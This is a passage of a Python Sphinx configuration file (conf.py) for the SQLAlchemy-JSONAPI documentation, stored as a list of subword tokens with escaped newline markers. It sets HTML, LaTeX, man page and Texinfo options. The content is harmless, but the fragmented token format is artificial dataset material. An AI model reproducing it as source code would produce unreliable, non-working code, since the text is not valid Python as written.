", "other", " ", "place", "s", " ", "through", "out", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "bui", "lt", " ", "document", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "short", " ", "X", ".", "Y", " ", "version", "._", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "'", "1.0", ".0", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", " ", "full", " ", "version", ",", " ", "inclu", "ding", " ", "alpha", "/", "beta", "/", "rc", " ", "tags", "._", "\\u\\u\\uNL\\u\\u\\u_", "release_", "=_", "'", "1.0", ".0", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "language", " ", "for", " ", "content", " ", "autogen", "erate", "d", " ", "by", " ", "Sph", "inx", ".", " ", "Refer", " ", "to", " ", "documentation", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "for", " ", "a", " ", "list", " ", "of", " ", "support", "ed", " ", "language", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "als", "o", " ", "used", " ", "if", " ", "you", " ", "do", " ", "content", " ", "translatio", "n", " ", "via", " ", "gettext", " ", "catalogs", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Us", "ual", "ly", " ", "you", " ", "set", " ", "\"", "language", "\"", " ", "from", " ", "the", " ", "command", " ", "line", " ", "for", " ", "these", " ", "case", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "language_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "There", " ", "are", " ", "two", " ", "options", " ", "for", " ", "repla", "cing", " ", "|", "toda", "y", "|", ":", " ", "eit", "her", ",", " ", "you", " ", "set", " ", "toda", "y", " ", "to", " ", "some", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "non", "-", "fal", "se", " ", "value", ",", " ", "then", " ", "it", " ", "is", " ", "used", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "toda", "y", " ", "=", " ", "''_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Else", ",", " ", "toda", "y", "\\u", "fmt", " ", "is", " ", "used", " ", "as", " ", "the", " ", "format", " ", "for", " ", "a", " ", "strf", "time", " ", "call", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "toda", "y", "\\u", "fmt", " ", "=", " ", "'%", "B", " ", "%", "d", ",", " ", "%", "Y", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "List", " ", "of", " ", "pattern", "s", ",", " ", "relative", " ", "to", " ", "source", " ", "director", "y", ",", " ", "tha", "t", " ", "match", " ", "files", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "director", "ies", " ", "to", " ", "ignore", " ", "whe", "n", " ", "look", "ing", " ", "for", " ", "source", " ", "files", "._", "\\u\\u\\uNL\\u\\u\\u_", "exclu", "de", "\\u", "patterns_", "=_", "[_", "'\\u", "build", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "re", "ST", " ", "default", " ", "role", " ", "(", "used", " ", "for", " ", "this", " ", "markup", ":", " ", "`", "text", "`)", " ", "to", " ", "use", " ", "for", " ", "all_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "document", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "default", "\\u", "role", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "'(", ")'", " ", "will", " ", "be", " ", "append", "ed", " ", "to", " ", ":", "func", ":", " ", "etc", ".", " ", "cross", "-", "reference", " ", "text", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "\\u", "function", "\\u", "parenthes", "es", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "the", " ", "current", " ", "module", " ", "name", " ", "will", " ", "be", " ", "prepend", "ed", " ", "to", " ", "all", " ", "description_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "unit", " ", "titles", " ", "(", "suc", "h", " ", "as", " ", "..", " ", "function", "::", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "\\u", "module", "\\u", "names", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "section", "author", " ", "and", " ", "module", "author", " ", "directive", "s", " ", "will", " ", "be", " ", "shown", " ", "in", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "output", ".", " ", "The", "y", " ", "are", " ", "ignore", "d", " ", "by", " ", "default", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "show", "\\u", "author", "s", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "name", " ", "of", " ", "the", " ", "Pyg", "ment", "s", " ", "(", "synta", "x", " ", "highlight", "ing", ")", " ", "style", " ", "to", " ", "use", "._", "\\u\\u\\uNL\\u\\u\\u_", "pyg", "ment", "s", "\\u", "style_", "=_", "'", "sphinx", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "A", " ", "list", " ", "of", " ", "ignore", "d", " ", "prefix", "es", " ", "for", " ", "module", " ", "index", " ", "sorting", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "modi", "nde", "x", "\\u", "common", "\\u", "prefix", " ", "=", " ", "[]", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "keep", " ", "warn", "ings", " ", "as", " ", "\"", "system", " ", "message", "\"", " ", "paragraph", "s", " ", "in", " ", "the", " ", "bui", "lt", " ", "document", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "keep", "\\u", "warn", "ings", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "`", "todo", "`", " ", "and", " ", "`", "todo", "List", "`", " ", "produce", " ", "output", ",", " ", "else", " ", "the", "y", " ", "produce", " ", "not", "hing", "._", "\\u\\u\\uNL\\u\\u\\u_", "todo", "\\u", "include", "\\u", "todos_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--", " ", "Optio", "ns", " ", "for", " ", "HTM", "L", " ", "output", " ", "--------------", "--------------", "--------------", "----", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "them", "e", " ", "to", " ", "use", " ", "for", " ", "HTM", "L", " ", "and", " ", "HTM", "L", " ", "Help", " ", "page", "s", ".", " ", " ", "See", " ", "the", " ", "documentation", " ", "for_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "a", " ", "list", " ", "of", " ", "bui", "lti", "n", " ", "themes", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "them", "e", " ", "=", " ", "'", "ala", "bast", "er", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Them", "e", " ", "options", " ", "are", " ", "them", "e-", "specific", " ", "and", " ", "customize", " ", "the", " ", "look", " ", "and", " ", "feel", " ", "of", " ", "a", " ", "theme_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "fur", "ther", ".", " ", " ", "For", " ", "a", " ", "list", " ", "of", " ", "options", " ", "avail", "able", " ", "for", " ", "each", " ", "them", "e", ",", " ", "see", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "documentation", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "them", "e\\u", "options", " ", "=", " ", "{}", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", " ", "any", " ", "path", "s", " ", "tha", "t", " ", "contain", " ", "custom", " ", "themes", " ", "here", ",", " ", "relative", " ", "to", " ", "this", " ", "director", "y", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "them", "e\\u", "path", " ", "=", " ", "[]", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "name", " ", "for", " ", "this", " ", "set", " ", "of", " ", "Sph", "inx", " ", "document", "s", ".", " ", " ", "If", " ", "Non", "e", ",", " ", "it", " ", "default", "s", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"<", "project", ">", " ", "v", "<", "release", ">", " ", "documentation", "\".", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "title", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "A", " ", "shorter", " ", "title", " ", "for", " ", "the", " ", "navigation", " ", "bar", ".", " ", " ", "Default", " ", "is", " ", "the", " ", "same", " ", "as", " ", "html", "\\u", "title", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "short", "\\u", "title", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "name", " ", "of", " ", "an", " ", "image", " ", "file", " ", "(", "relative", " ", "to", " ", "this", " ", "director", "y", ")", " ", "to", " ", "place", " ", "at", " ", "the", " ", "top_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "of", " ", "the", " ", "sidebar", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "logo", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "name", " ", "of", " ", "an", " ", "image", " ", "file", " ", "(", "within", " ", "the", " ", "static", " ", "path", ")", " ", "to", " ", "use", " ", "as", " ", "fav", "icon", " ", "of", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "docs", ".", " ", " ", "Thi", "s", " ", "file", " ", "shou", "ld", " ", "be", " ", "a", " ", "Window", "s", " ", "icon", " ", "file", " ", "(.", "ico", ")", " ", "bei", "ng", " ", "16", "x1", "6", " ", "or", " ", "32", "x3", "2_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "pixel", "s", " ", "large", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "fav", "icon", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", " ", "any", " ", "path", "s", " ", "tha", "t", " ", "contain", " ", "custom", " ", "static", " ", "files", " ", "(", "suc", "h", " ", "as", " ", "style", " ", "sheet", "s", ")", " ", "here", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "relative", " ", "to", " ", "this", " ", "director", "y", ".", " ", "The", "y", " ", "are", " ", "copie", "d", " ", "after", " ", "the", " ", "bui", "lti", "n", " ", "static", " ", "files", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "so", " ", "a", " ", "file", " ", "named", " ", "\"", "default", ".", "css", "\"", " ", "will", " ", "overwrit", "e", " ", "the", " ", "bui", "lti", "n", " ", "\"", "default", ".", "css", "\".", "_", "\\u\\u\\uNL\\u\\u\\u_", "html", "\\u", "static", "\\u", "path_", "=_", "[_", "'\\u", "static", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", " ", "any", " ", "extra", " ", "path", "s", " ", "tha", "t", " ", "contain", " ", "custom", " ", "files", " ", "(", "suc", "h", " ", "as", " ", "robots", ".", "txt", " ", "or_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", ".", "hta", "ccess", ")", " ", "here", ",", " ", "relative", " ", "to", " ", "this", " ", "director", "y", ".", " ", "The", "se", " ", "files", " ", "are", " ", "copied_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "direct", "ly", " ", "to", " ", "the", " ", "root", " ", "of", " ", "the", " ", "documentation", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "extra", "\\u", "path", " ", "=", " ", "[]", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "not", " ", "''", ",", " ", "a", " ", "'", "Las", "t", " ", "update", "d", " ", "on", ":'", " ", "timestamp", " ", "is", " ", "inserted", " ", "at", " ", "every", " ", "page", " ", "bottom", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "usi", "ng", " ", "the", " ", "give", "n", " ", "strf", "time", " ", "format", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "last", "\\u", "update", "d\\u", "fmt", " ", "=", " ", "'%", "b", " ", "%", "d", ",", " ", "%", "Y", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "Sma", "rty", "Pant", "s", " ", "will", " ", "be", " ", "used", " ", "to", " ", "convert", " ", "quote", "s", " ", "and", " ", "dashes", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "typo", "graphical", "ly", " ", "correct", " ", "entit", "ies", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "use", "\\u", "smart", "ypa", "nts", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Custom", " ", "sidebar", " ", "template", "s", ",", " ", "maps", " ", "document", " ", "names", " ", "to", " ", "template", " ", "names", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "sidebar", "s", " ", "=", " ", "{}", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Addition", "al", " ", "template", "s", " ", "tha", "t", " ", "shou", "ld", " ", "be", " ", "render", "ed", " ", "to", " ", "page", "s", ",", " ", "maps", " ", "page", " ", "names", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "template", " ", "names", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "addition", "al", "\\u", "page", "s", " ", "=", " ", "{}", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "fal", "se", ",", " ", "no", " ", "module", " ", "index", " ", "is", " ", "generat", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "domain", "\\u", "indice", "s", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "fal", "se", ",", " ", "no", " ", "index", " ", "is", " ", "generat", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "use", "\\u", "index", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "the", " ", "index", " ", "is", " ", "split", " ", "int", "o", " ", "individual", " ", "page", "s", " ", "for", " ", "each", " ", "letter", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "split", "\\u", "index", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "link", "s", " ", "to", " ", "the", " ", "re", "ST", " ", "source", "s", " ", "are", " ", "adde", "d", " ", "to", " ", "the", " ", "page", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "show", "\\u", "source", "link", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "\"", "Creat", "ed", " ", "usi", "ng", " ", "Sph", "inx", "\"", " ", "is", " ", "shown", " ", "in", " ", "the", " ", "HTM", "L", " ", "footer", ".", " ", "Default", " ", "is", " ", "Tru", "e", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "show", "\\u", "sphinx", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "\"(", "C", ")", " ", "Copy", "right", " ", "...\"", " ", "is", " ", "shown", " ", "in", " ", "the", " ", "HTM", "L", " ", "footer", ".", " ", "Default", " ", "is", " ", "Tru", "e", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "show", "\\u", "copyr", "ight", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "an", " ", "Open", "Sear", "ch", " ", "description", " ", "file", " ", "will", " ", "be", " ", "output", ",", " ", "and", " ", "all", " ", "page", "s", " ", "will", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "contain", " ", "a", " ", "<", "link", ">", " ", "tag", " ", "refer", "ring", " ", "to", " ", "it", ".", " ", " ", "The", " ", "value", " ", "of", " ", "this", " ", "option", " ", "must", " ", "be", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "base", " ", "URL", " ", "from", " ", "whi", "ch", " ", "the", " ", "finish", "ed", " ", "HTM", "L", " ", "is", " ", "serve", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "use", "\\u", "opens", "ear", "ch", " ", "=", " ", "''_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "the", " ", "file", " ", "name", " ", "suff", "ix", " ", "for", " ", "HTM", "L", " ", "files", " ", "(", "e", ".", "g", ".", " ", "\".", "xh", "tml", "\")", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "file", "\\u", "suff", "ix", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Lang", "ua", "ge", " ", "to", " ", "be", " ", "used", " ", "for", " ", "generat", "ing", " ", "the", " ", "HTM", "L", " ", "full", "-", "text", " ", "search", " ", "index", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Sph", "inx", " ", "support", "s", " ", "the", " ", "follow", "ing", " ", "language", "s", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "'", "da", "',", " ", "'", "de", "',", " ", "'", "en", "',", " ", "'", "es", "',", " ", "'", "fi", "',", " ", "'", "fr", "',", " ", "'", "h", "',", " ", "'", "it", "',", " ", "'", "ja", "'_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "'", "nl", "',", " ", "'", "no", "',", " ", "'", "pt", "',", " ", "'", "ro", "',", " ", "'", "r", "',", " ", "'", "sv", "',", " ", "'", "tr", "'_", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "search", "\\u", "language", " ", "=", " ", "'", "en", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "A", " ", "dictionar", "y", " ", "with", " ", "options", " ", "for", " ", "the", " ", "search", " ", "language", " ", "support", ",", " ", "empty", " ", "by", " ", "default", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "No", "w", " ", "only", " ", "'", "ja", "'", " ", "use", "s", " ", "this", " ", "config", " ", "value_", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "search", "\\u", "options", " ", "=", " ", "{", "'", "type", "':", " ", "'", "default", "'}", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "name", " ", "of", " ", "a", " ", "javascript", " ", "file", " ", "(", "relative", " ", "to", " ", "the", " ", "configura", "tion", " ", "director", "y", ")", " ", "that_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "implement", "s", " ", "a", " ", "search", " ", "results", " ", "scorer", ".", " ", "If", " ", "empty", ",", " ", "the", " ", "default", " ", "will", " ", "be", " ", "used", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "search", "\\u", "scorer", " ", "=", " ", "'", "scorer", ".", "js", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Output", " ", "file", " ", "base", " ", "name", " ", "for", " ", "HTM", "L", " ", "help", " ", "builde", "r", "._", "\\u\\u\\uNL\\u\\u\\u_", "html", "help", "\\u", "basename_", "=_", "'", "SQL", "Al", "chem", "y", "-", "JSO", "NA", "PI", "doc", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--", " ", "Optio", "ns", " ", "for", " ", "La", "Te", "X", " ", "output", " ", "--------------", "--------------", "--------------", "---", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "late", "x", "\\u", "elements_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "pape", "r", " ", "size", " ", "('", "letter", "pape", "r", "'", " ", "or", " ", "'", "a4", "pape", "r", "')", "._", "\\u\\u\\uNL\\u\\u\\u_", "#'", "papers", "ize", "':", " ", "'", "letter", "pape", "r", "',", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "font", " ", "size", " ", "('", "10", "pt", "',", " ", "'", "11", "pt", "'", " ", "or", " ", "'", "1", "2p", "t", "')", "._", "\\u\\u\\uNL\\u\\u\\u_", "#'", "points", "ize", "':", " ", "'", "10", "pt", "',", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Addition", "al", " ", "stu", "ff", " ", "for", " ", "the", " ", "La", "Te", "X", " ", "preamble", "._", "\\u\\u\\uNL\\u\\u\\u_", "#'", "preamble", "':", " ", "''", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Latex", " ", "figure", " ", "(", "float", ")", " ", "alignment_", "\\u\\u\\uNL\\u\\u\\u_", "#'", "figure", "\\u", "align", "':", " ", "'", "ht", "bp", "',", "_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Group", "ing", " ", "the", " ", "document", " ", "tree", " ", "int", "o", " ", "La", "Te", "X", " ", "files", ".", " ", "List", " ", "of", " ", "tuples_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "source", " ", "start", " ", "file", ",", " ", "target", " ", "name", ",", " ", "title", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "author", ",", " ", "document", "class", " ", "[", "how", "to", ",", " ", "manu", "al", ",", " ", "or", " ", "own", " ", "class", "])", "._", "\\u\\u\\uNL\\u\\u\\u_", "late", "x", "\\u", "documents_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "master", "\\u", "doc_", ",_", "'", "SQL", "Al", "chem", "y", "-", "JSO", "NA", "PI", ".", "tex", "'_", ",_", "'", "SQL", "Al", "chem", "y", "-", "JSO", "NA", "PI", " ", "Document", "ation", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Col", "ton", " ", "Prov", "ias", "'_", ",_", "'", "manu", "al", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "name", " ", "of", " ", "an", " ", "image", " ", "file", " ", "(", "relative", " ", "to", " ", "this", " ", "director", "y", ")", " ", "to", " ", "place", " ", "at", " ", "the", " ", "top", " ", "of_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "title", " ", "page", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "late", "x", "\\u", "logo", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "For", " ", "\"", "manu", "al", "\"", " ", "document", "s", ",", " ", "if", " ", "this", " ", "is", " ", "true", ",", " ", "then", " ", "toplevel", " ", "heading", "s", " ", "are", " ", "part", "s", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "not", " ", "chapters", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "late", "x", "\\u", "use", "\\u", "part", "s", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "show", " ", "page", " ", "reference", "s", " ", "after", " ", "internal", " ", "link", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "late", "x", "\\u", "show", "\\u", "pager", "ef", "s", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "show", " ", "URL", " ", "addresse", "s", " ", "after", " ", "external", " ", "link", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "late", "x", "\\u", "show", "\\u", "urls", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Document", "s", " ", "to", " ", "append", " ", "as", " ", "an", " ", "appendi", "x", " ", "to", " ", "all", " ", "manu", "als", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "late", "x", "\\u", "appendi", "ces", " ", "=", " ", "[]", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "fal", "se", ",", " ", "no", " ", "module", " ", "index", " ", "is", " ", "generat", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "late", "x", "\\u", "domain", "\\u", "indice", "s", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--", " ", "Optio", "ns", " ", "for", " ", "manu", "al", " ", "page", " ", "output", " ", "--------------", "--------------", "-----------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "One", " ", "entry", " ", "per", " ", "manu", "al", " ", "page", ".", " ", "List", " ", "of", " ", "tuples_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "source", " ", "start", " ", "file", ",", " ", "name", ",", " ", "description", ",", " ", "author", "s", ",", " ", "manu", "al", " ", "section", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "man", "\\u", "pages_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "master", "\\u", "doc_", ",_", "'", "sqla", "lche", "my", "-", "json", "api", "'_", ",_", "'", "SQL", "Al", "chem", "y", "-", "JSO", "NA", "PI", " ", "Document", "ation", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "author_", "]_", ",_", "1_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "show", " ", "URL", " ", "addresse", "s", " ", "after", " ", "external", " ", "link", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "man", "\\u", "show", "\\u", "urls", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--", " ", "Optio", "ns", " ", "for", " ", "Tex", "info", " ", "output", " ", "--------------", "--------------", "--------------", "-_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Group", "ing", " ", "the", " ", "document", " ", "tree", " ", "int", "o", " ", "Tex", "info", " ", "files", ".", " ", "List", " ", "of", " ", "tuples_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "source", " ", "start", " ", "file", ",", " ", "target", " ", "name", ",", " ", "title", ",", " ", "author", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "dir", " ", "menu", " ", "entry", ",", " ", "description", ",", " ", "category", ")_", "\\u\\u\\uNL\\u\\u\\u_", "tex", "info", "\\u", "documents_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "master", "\\u", "doc_", ",_", "'", "SQL", "Al", "chem", "y", "-", "JSO", "NA", "PI", "'_", ",_", "'", "SQL", "Al", "chem", "y", "-", "JSO", "NA", "PI", " ", "Document", "ation", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "author_", ",_", "'", "SQL", "Al", "chem", "y", "-", "JSO", "NA", "PI", "'_", ",_", "'", "One", " ", "line", " ", "description", " ", "of", " ", "project", ".'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Mis", "cell", "ane", "ous", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Document", "s", " ", "to", " ", "append", " ", "as", " ", "an", " ", "appendi", "x", " ", "to", " ", 